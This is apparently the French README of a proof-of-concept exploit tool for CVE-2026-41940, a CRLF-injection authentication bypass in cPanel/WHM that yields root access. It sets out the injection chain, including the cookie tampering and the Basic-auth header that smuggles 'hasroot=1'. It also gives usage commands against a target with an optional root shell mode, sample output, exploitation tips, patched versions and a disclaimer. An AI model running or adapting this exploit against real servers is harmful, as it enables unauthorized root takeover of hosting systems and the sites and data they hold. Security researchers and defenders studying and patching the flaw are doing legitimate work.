
Proof-of-concept exploit for CVE-2026-41940, a critical cPanel/WHM authentication bypass via CRLF injection, enabling unauthenticated root access and interactive shell.
Auteur : SilySec
Recherche originale : Sina Kheirkhah (@SinSinology) / watchTowr Labs
Sévérité : Critique (CVSS 9.8)
Type : Injection CRLF → Contournement d'authentification → Shell root
CVE-2026-41940 est une vulnérabilité critique dans cPanel/WHM qui permet à un attaquant non authentifié d'obtenir un accès root complet via une injection CRLF dans le gestionnaire d'authentification Basic de cpsrvd.
La faille combine trois faiblesses :
saveSession() dans Cpanel/Session.pm n'assainit pas les caractères \r\n avant l'écriture sur disque lorsque la clé <ob> est absente du cookie.<obHEX> dans le cookie de session, l'encodeur par session ne s'active pas, laissant les octets CRLF écrits en clair dans le fichier de session.Cpanel::Session::Modify::save() relit le fichier brut et promeut les clés CRLF injectées dans le cache JSON, rendant la session pleinement authentifiée.POST /login/?login_only=1 [mauvais mot de passe]
└─► cookie: whostmgrsession=:ID,<obHEX>
Supprimer ,<obHEX> → :ID [désactive l'encodeur]
GET / + Cookie: :ID
+ Authorization: Basic root:x\r\nhasroot=1\r\n...
└─► cpsrvd écrit les octets CRLF bruts dans le fichier de session
GET /scripts2/listaccts + Cookie: :ID [sans token de sécurité]
└─► do_token_denied() → Cpanel::Session::Modify::save()
└─► cache JSON reconstruit avec hasroot=1, tfa_verified=1
→ Session authentifiée en root
pip install requests
# Pour le mode --terminal (optionnel) :
pip install paramiko
python3 poc.py --target https://CIBLE:2087
python3 poc.py --target https://CIBLE:2087 --terminal
python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.exemple.com
[*] target : https://1.2.3.4:2087
[*] canonical: cpanel.exemple.com
[1/4] minting preauth session ...
session = :AbCdEfGh...,0123456789abcdef
stripped = :AbCdEfGh...
[2/4] injecting CRLF payload ...
307 → leaked token = /cpsess1234567890
[3/4] triggering cache propagation ...
do_token_denied → Cpanel::Session::Modify::save() fired
[4/4] verifying root access ...
✔ AUTH BYPASS CONFIRMED
cPanel version : 11.136.0.5
cookie : whostmgrsession=%3AAbCdEfGh...
WHM URL : https://1.2.3.4:2087/cpsess1234567890/
Host (pas l'IP) — cpsrvd gère les sessions différemment selon le hostname9999999999 (fixe, avenir lointain) — un timestamp courant échouesuccessful_internal_auth_with_timestamp doit venir en premierLe patch déplace l'appel à filter_sessiondata() à l'intérieur de saveSession() et ajoute un encodage conditionnel lorsque la clé <ob> est absente, empêchant toute écriture en clair.
Mettre à jour cPanel/WHM immédiatement vers les versions corrigées listées ci-dessus.
Cet outil est fourni à des fins de recherche et de test interne uniquement. Toute utilisation sur des systèmes sans autorisation explicite est illégale. SilySec décline toute responsabilité en cas d'utilisation abusive.
| Branche | Dernière version vulnérable | Version corrigée |
|---|
| 110.0.x | 11.110.0.96 | 11.110.0.97 |
| 118.0.x | 11.118.0.62 | 11.118.0.63 |
| 126.0.x | 11.126.0.53 | 11.126.0.54 |
| 132.0.x | 11.132.0.28 | 11.132.0.29 |
| 134.0.x | 11.134.0.19 | 11.134.0.20 |
| 136.0.x | 11.136.0.5 | 11.136.0.6 |